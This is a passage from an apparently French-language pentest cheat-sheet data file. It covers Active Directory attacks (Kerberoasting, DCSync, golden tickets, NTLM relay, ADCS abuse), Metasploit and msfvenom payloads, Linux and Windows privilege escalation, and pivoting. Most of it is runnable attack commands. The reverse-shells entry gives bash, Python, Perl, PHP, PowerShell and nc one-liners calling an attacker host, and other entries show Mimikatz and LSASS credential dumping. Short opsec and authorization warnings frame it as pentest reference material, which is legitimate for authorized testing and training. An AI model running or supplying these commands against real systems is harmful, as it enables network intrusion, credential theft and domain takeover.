uniquement, pas de sessions -c Session Moyen Sessions locales -c ACL Faible Relations ACL Importer Requêtes intégrées - Shortest Paths to Domain Admins — le chemin le plus court. - Kerberoastable Users — comptes avec SPN. - AS-REP Roastable Users — comptes sans pré-auth. - Unconstrained Delegation — machines et comptes dangereux. - Find Principals with DCSync Rights — droits de réplication. - Shortest Path from Owned Principals — depuis les comptes compromis. Cypher utiles [!TIP] Marque tes comptes compromis comme « Owned » (clic droit) et relance Shortest Path from Owned Principals . C'est la vue qui transforme une collection en plan d'attaque. Opsec - Session interroge les machines via SMB : très visible et peut déclencher les alertes. - DCOnly suffit pour les ACL et Kerberos, sans toucher aux postes. - Les requêtes LDAP massives sont journalisées (Event 4662 côté DC). - Évite de collecter depuis un compte à privilèges si un compte utilisateur suffit. [!WARNING] Le graphe contient des données sensibles (relations, sessions, délégations). Chiffre la base Neo4j et supprime les exports après la mission. Ne partage jamais un zip BloodHound avec des credentials en clair.","x":"# Linux, sans toucher aux DC (LDAP + SMB)\nbloodhound-python -u user -p 'Password' -d domain.local \\\n  -ns 10.10.10.10 -c All --zip\n\n# Avec hash\nbloodhound-python -u user --hashes :NTHASH -d domain.local -ns 10.10.10.10 -c All\n\n# Windows : SharpHound\nSharpHound.exe -c All --zipfilename bh.zip\nSharpHound.exe -c All,GPOLocalGroup --LdapUsername user --LdapPassword Password\n\n1. Démarrer neo4j : neo4j console\n2. Lancer BloodHound et se connecter (bolt://localhost:7687)\n3. Upload Data → sélectionner le zip ou les JSON\n4. Attendre la fin de l'ingestion\n\n// Utilisateurs Kerberoastables\nMATCH (u:User {hasspn:true})\nRETURN u.name, u.displayname, u.serviceprincipalnames\n\n// Admins locaux d'une machine\nMATCH p=(u:User)-[:AdminTo]->(c:Computer {name:\"DC01.DOMAIN.LOCAL\"})\nRETURN p\n\n// Chemins depuis un compte possédé\nMATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:\"DOMAIN ADMINS@DOMAIN.LOCAL\"}))\nRETURN p\n\n// ACL exploitables\nMATCH p=(u:User)-[r:GenericAll|WriteDacl|ForceChangePassword|AddMember]->(t)\nRETURN p, type(r)"},{"s":"ad-attacks","t":"Attaques Active Directory","d":"Kerberoast, ACL, délégations, ADCS et DCSync : la chaîne d'attaque d'un domaine.","c":"ad","k":"technique","g":["kerberos","acl","adcs","dcsync","privesc","ad attacks","domain takeover","kerberoasting"],"h":["Énumération initiale","AS-REP roasting","Kerberoasting","ACL abuse","Délégations","ADCS","DCSync et tickets","NTLM relay"],"b":"Énumération initiale AS-REP roasting Kerberoasting [!TIP] Un compte de service avec un mot de passe faible donne souvent accès à un serveur entier. Cherche les SPN sur les comptes humains, pas seulement sur les comptes svc . ACL abuse Relations courantes : ACE Effet --- --- GenericAll Contrôle total sur l'objet GenericWrite Modifier les attributs WriteDacl Modifier les permissions ForceChangePassword Réinitialiser le mot de passe AddMember Ajouter un membre à un groupe Délégations ADCS DCSync et tickets NTLM relay [!WARNING] Certaines actions sont destructrices ou irréversibles : modification d'ACL, DCSync, golden ticket, reset de mot de passe. En audit, privilégie la preuve de faisabilité (lecture, énumération) et fais valider toute action qui modifie l'annuaire.","x":"# Utilisateurs, groupes, partages\nenum4linux-ng -A 10.10.10.10\nnxc smb 10.10.10.10 -u '' -p '' --users --shares\n\n# LDAP anonyme\nldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=user)'\n\n# Policy de mots de passe\nnxc smb dc01.domain.local -u user -p 'Password' --pass-pol\n\n# Comptes sans pré-authentification\nimpacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 \\\n  -format hashcat -no-pass -outputfile asrep.txt\n\nhashcat -m 18200 asrep.txt rockyou.txt\n\n# Comptes avec SPN\nimpacket-GetUserSPNs domain.local/user:Password -dc-ip 10.10.10.10 \\\n  -request -outputfile kerb.txt\n\n# Alternative Windows\nRubeus.exe kerberoast /outfile:kerb.txt\n\nhashcat -m 13100 kerb.txt rockyou.txt\n\n# Forcer un changement de mot de passe (impacket)\nimpacket-changepasswd 'domain.local/user:Password@dc01' -newpass 'NewPass123!' \\\n  -altuser victim -altpass 'OldPass'\n\n# Ajouter un compte à Domain Admins (avec droits)\nnet rpc group addmem \"Domain Admins\" attacker -U 'domain.local\\user%Password' -S dc01\n\n# Unconstrained delegation : chercher les machines\nnxc ldap dc01 -u user -p 'Password' --query '(userAccountControl:1.2.840.113556.1.4.803:=524288)' samaccountname\n\n# Resource-based constrained delegation (RBCD)\nimpacket-addcomputer 'domain.local/user:Password' -computer-name 'EVIL$' -computer-pass 'Pass123!'\nimpacket-rbcd 'domain.local/user:Password' -dc-ip 10.10.10.10 \\\n  -delegate-from 'EVIL$' -delegate-to 'DC01$' -action write\n\n# Énumérer les templates vulnérables\ncertipy find -u user@domain.local -p 'Password' -dc-ip 10.10.10.10 -vulnerable\n\n# ESC1 : template qui autorise le SAN + enrollment\ncertipy req -u user@domain.local -p 'Password' -ca CA01 -template VulnTemplate \\\n  -upn administrator@domain.local -dc-ip 10.10.10.10\n\n# Authentification avec le certificat\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n\n# DCSync (droits de réplication)\nimpacket-secretsdump 'domain.local/user:Password@dc01' -just-dc-user krbtgt\n\n# Golden ticket (après compromission du krbtgt)\nimpacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... \\\n  -domain domain.local Administrator\n\n# Silver ticket (service précis)\nimpacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-... \\\n  -domain domain.local -spn cifs/fileserver.domain.local Administrator\n\n# Cibles sans signature SMB\nnxc smb 10.10.10.0/24 --gen-relay-list relay.txt\n\n# Relais vers LDAP(S) / ADCS\nimpacket-ntlmrelayx -tf relay.txt -smb2support\nimpacket-ntlmrelayx -t ldaps://dc01 -smb2support --escalate-user user"},{"s":"responder","t":"Responder","d":"Empoisonner LLMNR, NBT-NS et mDNS pour capturer des hashes NTLM et alimenter un relais.","c":"ad","k":"tool","g":["llmnr","ntlm","poisoning","relay","wpad","llmnr poisoning","ntlm capture"],"h":["Lancer","Cracker les hashes","Relais NTLM","mitm6 + relais","Détection et défense"],"b":"Lancer Option Effet --- --- -I Interface d'écoute -A Analyse passive -w Rogue WPAD -d Réponses DHCP -v Verbeux -F Forcer l'authentification WPAD Les hashes capturés apparaissent dans logs/ (ou ~/.responder/logs/ ) au format NTLMv2-SSP . Cracker les hashes [!TIP] Un hash NTLMv2 ne se passe pas directement en relais : il faut le casser ou relayer l'authentification en temps réel. Si le mot de passe est long, le relais est souvent plus rapide que le crack. Relais NTLM Désactive SMB et HTTP dans Responder pour laisser ntlmrelayx répondre : mitm6 + relais [!TIP] mitm6 exploite la préférence IPv6 de Windows. Beaucoup d'environnements n'ont pas de DHCPv6 : la machine accepte l'annonce et utilise l'attaquant comme DNS. Combine avec un relais LDAP pour ajouter un ordinateur ou modifier des ACL. Détection et défense - Désactiver LLMNR (GPO) et NBT-NS sur les cartes. - Activer la signature SMB et LDAP. - Surveiller les événements 4624/4776 et le trafic LLMNR anormal. - Segmenter le LAN et interdire le multicast entre postes. [!WARNING] Responder et le relais NTLM sont extrêmement bruyants et peuvent casser des services (WPAD, authentification). Préviens l'équipe réseau, limite la fenêtre d'attaque et ne relaie jamais vers un contrôleur de domaine sans autorisation écrite.","x":"# Écoute complète sur l'interface du LAN\nsudo responder -I eth0 -wdv\n\n# Mode analyse : voir les requêtes sans répondre\nsudo responder -I eth0 -A\n\n# Fingerprint des hôtes qui parlent\nsudo responder -I eth0 -f\n\n# NTLMv2\nhashcat -m 5600 logs/SMB-NTLMv2-SSP-10.10.10.10.txt rockyou.txt\n\n# NTLMv1 (si le client le permet)\nhashcat -m 5500 ntlmv1.txt rockyou.txt\n\n# Voir les hashes sans lancer d'attaque\ncat logs/*.txt | grep -i \"NTLMv2\"\n\n# /etc/responder/Responder.conf\n[Responder Core]\nSMB = Off\nHTTP = Off\n\n# Cibles sans signature SMB\nnxc smb 10.10.10.0/24 --gen-relay-list relay.txt\n\n# Relais vers SMB\nimpacket-ntlmrelayx -tf relay.txt -smb2support\n\n# Relais vers LDAP(S) pour créer un ordinateur (ADCS)\nimpacket-ntlmrelayx -t ldaps://dc01.domain.local -smb2support --add-computer\n\n# SOCKS pour réutiliser les sessions\nimpacket-ntlmrelayx -tf relay.txt -smb2support -socks\n\n# Prendre le rôle de serveur DNS via IPv6\nsudo mitm6 -d domain.local\n\n# En parallèle, relayer vers LDAP(S)\nimpacket-ntlmrelayx -6 -t ldaps://dc01.domain.local -wh attacker.domain.local"},{"s":"certipy","t":"Certipy","d":"Énumérer et exploiter les services de certificats Active Directory : ESC1 à ESC8, forge et relais.","c":"ad","k":"tool","g":["adcs","pki","esc1","certificates","relay","adcs","certificate services","esc1"],"h":["Énumérer","Exploiter ESC1","Shadow credentials","Forge et sauvegarde"],"b":"Énumérer ESC Cause Impact --- --- --- ESC1 Le demandeur contrôle le SAN Usurper n'importe quel UPN ESC2 Template « Any Purpose » Usage arbitraire du certificat ESC3 Enrollment agent mal contrôlé Demander pour autrui ESC4 ACL d'écriture sur un template Modifier le template ESC6 EDITF ATTRIBUTESUBJECTALTNAME2 SAN arbitraire sur tous les templates ESC8 Endpoint HTTP d'enrollment Relais NTLM vers l'ADCS Exploiter ESC1 Shadow credentials Forge et sauvegarde [!TIP] ESC1 se détecte en quelques secondes : cherche les templates où Enrollment Rights incluent Domain Users et où CT FLAG ENROLLEE SUPPLIES SUBJECT est actif. C'est souvent le raccourci le plus court vers Domain Admin. [!WARNING] Un certificat forgé ou un accès à la clé de CA permet de persister même après un reset de mot de passe. En audit, documente la faisabilité, ne laisse pas de certificats actifs et nettoie les entrées msDS-KeyCredentialLink que tu as créées.","x":"# Templates et CA vulnérables\ncertipy find -u user@domain.local -p 'Password' -dc-ip 10.10.10.10 -vulnerable\n\n# Sortie lisible + JSON\ncertipy find -u user@domain.local -p 'Password' -dc-ip 10.10.10.10 \\\n  -vulnerable -stdout -json certipy.json\n\n# Avec hash\ncertipy find -u user@domain.local -hashes :NTHASH -dc-ip 10.10.10.10 -vulnerable\n\n# Demander un certificat au nom de l'admin\ncertipy req -u user@domain.local -p 'Password' \\\n  -ca CORP-CA -template VulnUser -upn administrator@domain.local \\\n  -dc-ip 10.10.10.10\n\n# Authentifier avec le PFX et récupérer le hash NT\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n\n# ESC8 : relais NTLM vers l'endpoint HTTP d'enrollment\ncertipy relay -target http://ca01.domain.local -template DomainController\n\n# Puis forcer une authentification (PetitPotam, PrinterBug, etc.)\n# et utiliser le PFX obtenu\ncertipy auth -pfx dc01.pfx -dc-ip 10.10.10.10\n\n# Ajouter une clé à un compte (droits d'écriture requis)\ncertipy shadow auto -u user@domain.local -p 'Password' \\\n  -account victim -dc-ip 10.10.10.10\n\n# Nettoyer la clé ajoutée\ncertipy shadow remove -u user@domain.local -p 'Password' \\\n  -account victim -dc-ip 10.10.10.10\n\n# Sauvegarder la clé privée de la CA (si contrôle total)\ncertipy ca -u user@domain.local -p 'Password' -ca CORP-CA -backup\n\n# Forger un certificat avec la CA compromise\ncertipy forge -ca-pfx CORP-CA.pfx -upn administrator@domain.local \\\n  -subject \"CN=Administrator\" -out forged.pfx\n\n# Authentifier\ncertipy auth -pfx forged.pfx -dc-ip 10.10.10.10"},{"s":"metasploit","t":"Metasploit","d":"Rechercher, configurer et lancer des modules, gérer les sessions et générer des payloads avec msfvenom.","c":"exploit","k":"tool","g":["framework","meterpreter","payloads","handler","msfvenom","msfconsole","msfvenom"],"h":["Démarrer et chercher","Configurer et lancer","Meterpreter","Handler et payloads","Workflow et ressources"],"b":"Démarrer et chercher Configurer et lancer Meterpreter Handler et payloads Workflow et ressources [!TIP] searchsploit trouve l'exploit, Metasploit l'exécute. Mais un module check qui renvoie « vulnerable » ne garantit rien : vérifie la version et le contexte avant de lancer une exploitation destructrice. [!WARNING] Les payloads Metasploit sont détectés par la plupart des EDR. En environnement réel, préfère des binaires signés, du living-off-the-land ou des C2 modernes (Sliver, Havoc). Ne laisse jamais un handler écouter sur une IP publique.","x":"msfconsole -q\n\n# Base de données locale\nmsfdb init\nmsfconsole -q -x \"db_status; exit\"\n\nmsf6 > search type:exploit platform:windows smb\nmsf6 > search cve:2021-44228\nmsf6 > use exploit/linux/http/apache_normalize_path_rce\nmsf6 > info\nmsf6 > show options\nmsf6 > show targets\n\nmsf6 > set RHOSTS 10.10.10.10\nmsf6 > set RPORT 443\nmsf6 > set LHOST 10.10.10.20\nmsf6 > set LPORT 4444\nmsf6 > set TARGETURI /\nmsf6 > check\nmsf6 > run\n\n# Sessions\nmsf6 > sessions -l\nmsf6 > sessions -i 1\nmsf6 > sessions -k 1\nmeterpreter > background\n\nmeterpreter > sysinfo\nmeterpreter > getuid\nmeterpreter > getsystem\nmeterpreter > hashdump\nmeterpreter > migrate 1234\nmeterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.0\nmeterpreter > shell\nmeterpreter > download C:\\\\Windows\\\\win.ini\nmeterpreter > load kiwi\n\n# Reverse shell Windows\nmsfvenom -p windows/x64/meterpreter/reverse_tcp \\\n  LHOST=10.10.10.20 LPORT=4444 -f exe -o shell.exe\n\n# Linux ELF\nmsfvenom -p linux/x64/meterpreter/reverse_tcp \\\n  LHOST=10.10.10.20 LPORT=4444 -f elf -o shell.elf\n\n# Web : PHP, JSP, WAR\nmsfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.20 LPORT=4444 -f raw -o shell.php\nmsfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.20 LPORT=4444 -f war -o shell.war\n\n# Base64 pour injection\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.20 LPORT=4444 \\\n  -f psh-reflection -o shell.ps1\n\nmsf6 > use exploit/multi/handler\nmsf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp\nmsf6 > set LHOST 10.10.10.20\nmsf6 > set LPORT 4444\nmsf6 > set ExitOnSession false\nmsf6 > run -j\n\n# Importer un scan nmap\nmsf6 > db_import scan.xml\nmsf6 > hosts\nmsf6 > services\nmsf6 > vulns\n\n# Script de démarrage\ncat > start.rc <<'EOF'\nworkspace -a mission\ndb_import /tmp/scan.xml\nuse exploit/multi/handler\nset PAYLOAD windows/x64/meterpreter/reverse_tcp\nset LHOST 10.10.10.20\nset LPORT 4444\nset ExitOnSession false\nrun -j\nEOF\nmsfconsole -r start.rc"},{"s":"searchsploit","t":"searchsploit","d":"Chercher, lire et copier des exploits publics depuis la base Exploit-DB, hors ligne.","c":"exploit","k":"tool","g":["exploitdb","cve","poc","offline","exploit-db","exploitdb"],"h":["Chercher","Lire et copier","Depuis un scan Nmap","Workflow"],"b":"Chercher Option Effet --- --- -t Cherche dans le titre seulement -w Affiche l'URL Exploit-DB -x Ouvre l'exploit dans $PAGER -m Copie l'exploit dans le dossier courant -p Affiche le chemin complet -j Sortie JSON Lire et copier Depuis un scan Nmap Workflow [!TIP] searchsploit est une base statique : un exploit absent ne signifie pas que la cible est sûre. Croise avec GitHub, Packet Storm, les advisories éditeurs et les CVE récentes. [!WARNING] Les PoC publics sont souvent incomplets, obsolètes ou malveillants. Lis toujours le code avant de l'exécuter, lance-le dans une VM isolée, et ne l'utilise jamais directement contre une cible de production sans adaptation.","x":"# Mettre à jour la base locale\nsearchsploit -u\n\n# Recherche simple\nsearchsploit apache 2.4.49\nsearchsploit openssh 7.2\n\n# Titre et chemin uniquement\nsearchsploit -t wordpress plugin\n\n# Exclure du bruit\nsearchsploit --exclude=\"dos\" apache\n\n# Recherche par CVE\nsearchsploit --cve 2021-44228\n\n# Afficher l'exploit\nsearchsploit -x 50383\n\n# Copier dans le dossier courant\nsearchsploit -m 50383\n\n# Copier avec le titre\nsearchsploit -m 50383 --rename\n\n# Générer une liste de services\nnmap -sV -oX scan.xml 10.10.10.10\n\n# Chercher les exploits correspondants\nsearchsploit --nmap scan.xml\n\n# Ne garder que les résultats exploitables\nsearchsploit --nmap scan.xml -t\n\n# 1. Identifier la version exacte\nnmap -sV -p 80,443 10.10.10.10\n\n# 2. Chercher l'exploit\nsearchsploit -w apache 2.4.49\n\n# 3. Lire, comprendre, adapter\nsearchsploit -x 50383\n\n# 4. Copier et modifier les placeholders (LHOST, URL, credentials)\nsearchsploit -m 50383"},{"s":"linux-privesc","t":"Linux privesc","d":"Énumérer, repérer les mauvaises configurations et élever ses privilèges sur Linux.","c":"post","k":"technique","g":["privesc","sudo","suid","cron","capabilities","linux privilege escalation","linpeas"],"h":["Les cinq premières minutes","Sudo","SUID et capabilities","Cron et scripts","Réseau et groupes","Credentials et kernel"],"b":"Les cinq premières minutes Sudo [!TIP] GTFOBins liste les binaires détournables. Vérifie la version installée : une entrée sudo n'est pas forcément exploitable si le binaire est patché. SUID et capabilities Cron et scripts Réseau et groupes Credentials et kernel [!WARNING] Les exploits kernel peuvent crasher la machine. Sur un serveur de production, privilégie les mauvaises configurations (sudo, SUID, cron) et documente l'impact. Ne lance jamais linpeas sur un système sans autorisation : il génère beaucoup de lecture disque et de logs.","x":"id\nsudo -l\nuname -a\ncat /etc/os-release\nhostname\n\n# SUID / SGID\nfind / -perm -4000 -type f 2>/dev/null\nfind / -perm -2000 -type f 2>/dev/null\n\n# Capabilities\ngetcap -r / 2>/dev/null\n\n# Cron et timers\ncat /etc/crontab\nls -la /etc/cron.* /var/spool/cron/crontabs 2>/dev/null\nsystemctl list-timers --all\n\nsudo -l\n\n# Exemples GTFOBins\nsudo vim -c ':!/bin/sh'\nsudo find / -exec /bin/sh \\; -quit\nsudo awk 'BEGIN {system(\"/bin/sh\")}'\nsudo less /etc/hosts    # puis : !/bin/sh\nsudo nmap --interactive  # anciennes versions : !sh\n\n# Chercher un binaire SUID connu\nfind / -perm -4000 -type f -exec ls -la {} \\; 2>/dev/null\n\n# Exemple : cp SUID → écraser /etc/passwd\ncp /etc/passwd /tmp/passwd.bak\nopenssl passwd -1 -salt x NewPass123\n# Ajouter une ligne root2:$1$x$HASH:0:0:root:/root:/bin/bash\n\n# Capabilities intéressantes\ngetcap -r / 2>/dev/null | grep -E \"cap_setuid|cap_net_raw|cap_dac_read_search\"\n\n# Scripts modifiables exécutés par root\nfind / -writable -type f 2>/dev/null | grep -E \"\\.sh$|\\.py$\"\n\n# Wildcard injection (tar, rsync, chown)\necho 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/shell.sh\nchmod +x /tmp/shell.sh\ntouch -- '--checkpoint=1'\ntouch -- '--checkpoint-action=exec=sh /tmp/shell.sh'\n\n# PATH hijack dans un cron\necho '/bin/sh' > /tmp/ls\nchmod +x /tmp/ls\nexport PATH=/tmp:$PATH\n\n# NFS sans root_squash\nshowmount -e 10.10.10.10\n# Monter et créer un binaire SUID root\nmount -t nfs 10.10.10.10:/export /mnt\ncp /bin/bash /mnt/bash && chmod +s /mnt/bash\n\n# Groupes dangereux\nid | grep -E \"docker|lxd|disk|adm|sudo\"\n\n# Docker : monter l'hôte\ndocker run -v /:/mnt --rm -it alpine chroot /mnt sh\n\n# LXD : conteneur privilégié\nlxc image import alpine.tar.gz --alias alpine\nlxc init alpine privesc -c security.privileged=true\nlxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true\nlxc start privesc && lxc exec privesc -- /bin/sh\n\n# Historiques et fichiers sensibles\ngrep -riE \"password|passwd|secret|token\" /home /var/www /opt 2>/dev/null | head -50\ncat ~/.bash_history ~/.ssh/id_rsa 2>/dev/null\nfind / -name \"*.kdbx\" -o -name \"id_rsa\" 2>/dev/null\n\n# Exploits kernel (après avoir identifié la version)\nuname -a\nsearchsploit linux kernel $(uname -r)\n\n# Script d'énumération complet\ncurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh\n./linpeas.sh -a"},{"s":"windows-privesc","t":"Windows privesc","d":"Services, tokens, tâches planifiées et credentials : élever ses privilèges sur Windows.","c":"post","k":"technique","g":["privesc","windows","services","tokens","mimikatz","windows privilege escalation","winpeas"],"h":["Contexte","Services","Tokens","Tâches planifiées et credentials","Dump de credentials","UAC et énumération rapide"],"b":"Contexte Privilèges intéressants : SeImpersonatePrivilege , SeAssignPrimaryTokenPrivilege , SeBackupPrivilege , SeDebugPrivilege , SeTakeOwnershipPrivilege . Services Vulnérabilités classiques : Problème Exploit --- --- Binaire de service modifiable Remplacer l'exe, redémarrer le service Chemin non quoté Placer C:\\Program.exe avant l'espace Permissions faibles sur le dossier DLL hijack / remplacement AlwaysInstallElevated MSI exécuté en SYSTEM Tokens [!TIP] SeImpersonate sur un compte de service IIS ou MSSQL est un chemin direct vers SYSTEM. Si les Potato classiques sont bloqués, teste RoguePotato , SweetPotato ou une attaque par named pipe. Tâches planifiées et credentials Dump de credentials [!TIP] Un dump LSASS fournit des hashs NTLM et parfois des mots de passe en clair selon la configuration (WDigest). C'est souvent le chemin le plus court vers un autre compte, mais aussi l'action la plus détectée par les EDR. UAC et énumération rapide [!WARNING] Les exploits de tokens et UAC bypass dépendent étroitement de la build Windows. Vérifie la version avant d'exécuter un binaire trouvé sur GitHub : un exploit incompatible peut provoquer un BSOD ou couper le service. Sur un serveur critique, privilégie la preuve de concept non destructive.","x":"whoami /all\nsysteminfo\nwmic qfe list brief\nGet-HotFix\n\n# Groupes et privilèges actuels\nwhoami /groups\nwhoami /priv\n\n# Services et chemins\nGet-CimInstance Win32_Service | Select Name,State,StartMode,PathName\n\n# Permissions sur le binaire d'un service\nicacls \"C:\\Program Files\\Vuln\\service.exe\"\n\n# Service non quoté\nGet-CimInstance Win32_Service | Where-Object {$_.PathName -notmatch '^\"' -and $_.PathName -match ' '}\n\n# PowerUp\n. .\\PowerUp.ps1\nInvoke-AllChecks\n\n# SharpUp\nSharpUp.exe audit\n\n# AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\n\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.20 LPORT=4444 -f msi -o evil.msi\nmsiexec /quiet /qn /i evil.msi\n\n# Vérifier SeImpersonate\nwhoami /priv | findstr Impersonate\n\n# Potato family (selon version Windows)\nPrintSpoofer.exe -i -c \"cmd /c whoami\"\nGodPotato.exe -cmd \"cmd /c whoami\"\nJuicyPotato.exe -l 1337 -p cmd.exe -a \"/c whoami\" -t *\n\n# Tâches et permissions\nschtasks /query /fo LIST /v\nGet-ScheduledTask | ForEach-Object { $_.Principal | Select UserId }\n\n# Credentials stockés\ncmdkey /list\nreg query HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\nfindstr /si password *.xml *.ini *.txt *.config 2>nul\n\n# GPP cpassword\nfindstr /S /I cpassword \\\\domain.local\\sysvol\\domain.local\\*.xml\n\n# winPEAS\n.\\winPEASx64.exe\n\n# Mimikatz (admin ou SYSTEM requis)\nprivilege::debug\nsekurlsa::logonpasswords\nlsadump::sam\nlsadump::lsa /patch\n\n# Depuis un dump LSASS\nprocdump.exe -accepteula -ma lsass.exe lsass.dmp\n# puis, hors ligne :\npypykatz lsa minidump lsass.dmp\n\n# Chercher les fichiers de credentials\nfindstr /si password *.xml *.ini *.txt *.config 2>nul\nGet-ChildItem -Recurse -Include *.kdbx,*.rdp,*.ovpn -ErrorAction SilentlyContinue\n\n# Niveau UAC\nreg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA\n\n# UACME / fodhelper (si admin dans le groupe local)\n# Vérifier les groupes : Administrators, Backup Operators\nnet localgroup administrators"},{"s":"reverse-shells","t":"Reverse shells","d":"Obtenir un shell interactif depuis Linux, Windows, macOS et le web, puis le stabiliser.","c":"post","k":"technique","g":["shell","payloads","tty","powershell","egress","bind shell","shell upgrade","payload"],"h":["Écouter","Linux / macOS","Windows","Stabiliser le TTY","Choisir le bon canal"],"b":"Écouter Linux / macOS Windows Stabiliser le TTY Choisir le bon canal Sortie autorisée Payload --- --- 80 / 443 HTTP(S), WebSocket, DNS 53 DNS tunneling 4444 / 1337 TCP brut, souvent filtré Aucune sortie Bind shell (si entrant autorisé) [!TIP] Teste d'abord la connectivité sortante avec curl ou wget vers ton listener. Un payload qui ne se connecte pas n'est pas forcément bloqué : il peut manquer un binaire, un shell ou les droits d'exécution. [!WARNING] Un reverse shell laisse une connexion persistante et des logs. Utilise un port et un canal cohérents avec le trafic légitime, nettoie tes artefacts, et ne laisse jamais un listener actif après la mission.","x":"# Listener simple\nnc -lvnp 4444\n\n# Avec historique et édition de ligne\nrlwrap -cAr nc -lvnp 4444\n\n# TLS\nncat --ssl -lvnp 4444\n\n# Bash\nbash -i >& /dev/tcp/10.10.10.20/4444 0>&1\n\n# Python\npython3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.10.20\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\"/bin/bash\")'\n\n# Perl\nperl -e 'use Socket;$i=\"10.10.10.20\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'\n\n# PHP\nphp -r '$s=fsockopen(\"10.10.10.20\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n\n# Node.js\nnode -e 'require(\"child_process\").exec(\"bash -i >& /dev/tcp/10.10.10.20/4444 0>&1\")'\n\n# Socat\nsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.20:4444\n\n# PowerShell TCP client\n$c = New-Object Net.Sockets.TCPClient('10.10.10.20',4444)\n$s = $c.GetStream()\n[byte[]]$b = 0..65535 | % {0}\nwhile (($i = $s.Read($b,0,$b.Length)) -ne 0) {\n  $d = (New-Object Text.ASCIIEncoding).GetString($b,0,$i)\n  $r = (iex $d 2>&1 | Out-String)\n  $r2 = $r + 'PS ' + (pwd).Path + '> '\n  $sb = ([Text.Encoding]::ASCII).GetBytes($r2)\n  $s.Write($sb,0,$sb.Length); $s.Flush()\n}\n$c.Close()\n\n:: Cmd (si nc est présent)\nnc.exe -e cmd.exe 10.10.10.20 4444\n\n# Base64 pour contourner les quotes\n$cmd = '...payload...'\n[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))\npowershell -nop -w hidden -enc <BASE64>\n\n# Dans le reverse shell Python\npython3 -c 'import pty;pty.spawn(\"/bin/bash\")'\n\n# Ctrl+Z côté attaquant, puis :\nstty raw -echo; fg\n\n# Export du terminal\nexport TERM=xterm-256color\nstty rows 40 cols 120\n\n# Si python absent : script ou socat\nscript -qc /bin/bash /dev/null\n\n# Vérifier l'IP et le port\ncurl ifconfig.me\nss -tlnp"},{"s":"pivoting","t":"Pivoting","d":"Traverser les réseaux : tunnels SSH, chisel, ligolo-ng et proxychains.","c":"post","k":"technique","g":["pivoting","tunneling","ssh","chisel","proxychains","port forwarding","tunneling"],"h":["SSH","Chisel","Ligolo-ng","Socat et relais simples","Double pivot","Choisir"],"b":"SSH [!TIP] nmap -sT fonctionne à travers un proxy SOCKS, pas -sS . Pour du scan rapide, combine proxychains avec nmap -sT -Pn --top-ports 100 . La référence complète des options SSH (ControlMaster, ProxyJump, autossh, systemd) est dans OpenSSH. Chisel Ligolo-ng Ligolo donne une interface réseau virtuelle : nmap , curl et les outils classiques fonctionnent sans proxychains. Socat et relais simples Double pivot Choisir Situation Outil --- --- SSH disponible ssh -L/-R/-D Pas de SSH, binaire unique chisel Besoin d'une interface réseau ligolo-ng Relais simple socat Trafic HTTP uniquement httptunnel , websocket [!WARNING] Un pivot mal configuré peut exposer un service interne à Internet. Écoute sur 127.0.0.1 quand c'est possible, ferme les tunnels après usage et documente chaque saut dans le rapport. Ne scanne pas un réseau interne hors scope : un pivot élargit la surface, pas l'autorisation.","x":"# Local : le port local pointe vers un service interne\nssh -L 8080:internal.corp:80 user@jump.host\n\n# Distant : exposer un service local sur la machine distante\nssh -R 9001:127.0.0.1:9001 user@jump.host\n\n# Dynamic : proxy SOCKS5\nssh -D 1080 -N -f user@jump.host\n\n# Rebond multi-sauts\nssh -J user@jump1,user@jump2 -L 8080:db.internal:5432 user@jump2\n\n# proxychains.conf\n[ProxyList]\nsocks5 127.0.0.1 1080\n\n# Utilisation\nproxychains4 nmap -sT -Pn -p 22,80,445 10.10.20.10\n\n# Serveur (attaquant)\nchisel server --reverse --port 8080\n\n# Client (pivot)\nchisel client 10.10.10.20:8080 R:socks\n\n# Port forwarding inverse : 10.10.20.10:445 → localhost:4455\nchisel client 10.10.10.20:8080 R:4455:10.10.20.10:445\n\n# proxychains vers le SOCKS chisel (défaut 1080)\nproxychains4 nxc smb 10.10.20.10 -u user -p 'Password'\n\n# Proxy (attaquant) — binaire \"proxy\" dans les releases ligolo-ng\n./proxy -selfcert -laddr 0.0.0.0:11601\n\n# Agent (pivot) — binaire \"agent\"\n./agent -connect 10.10.10.20:11601 -ignore-cert\n\n# Console ligolo\nsession\nifconfig\nstart\n# Ajouter la route vers le réseau interne\nip route add 10.10.20.0/24 dev ligolo\n\n# Relais TCP local\nsocat TCP-LISTEN:8080,fork TCP:internal.corp:80\n\n# Relais avec TLS\nsocat TCP-LISTEN:8443,fork,reuseaddr OPENSSL:internal.corp:443\n\n# Exposer un service local via un pivot compromise\nsocat TCP-LISTEN:9000,fork TCP:127.0.0.1:9000\n\nAttaquant → jump1 (10.10.10.5) → jump2 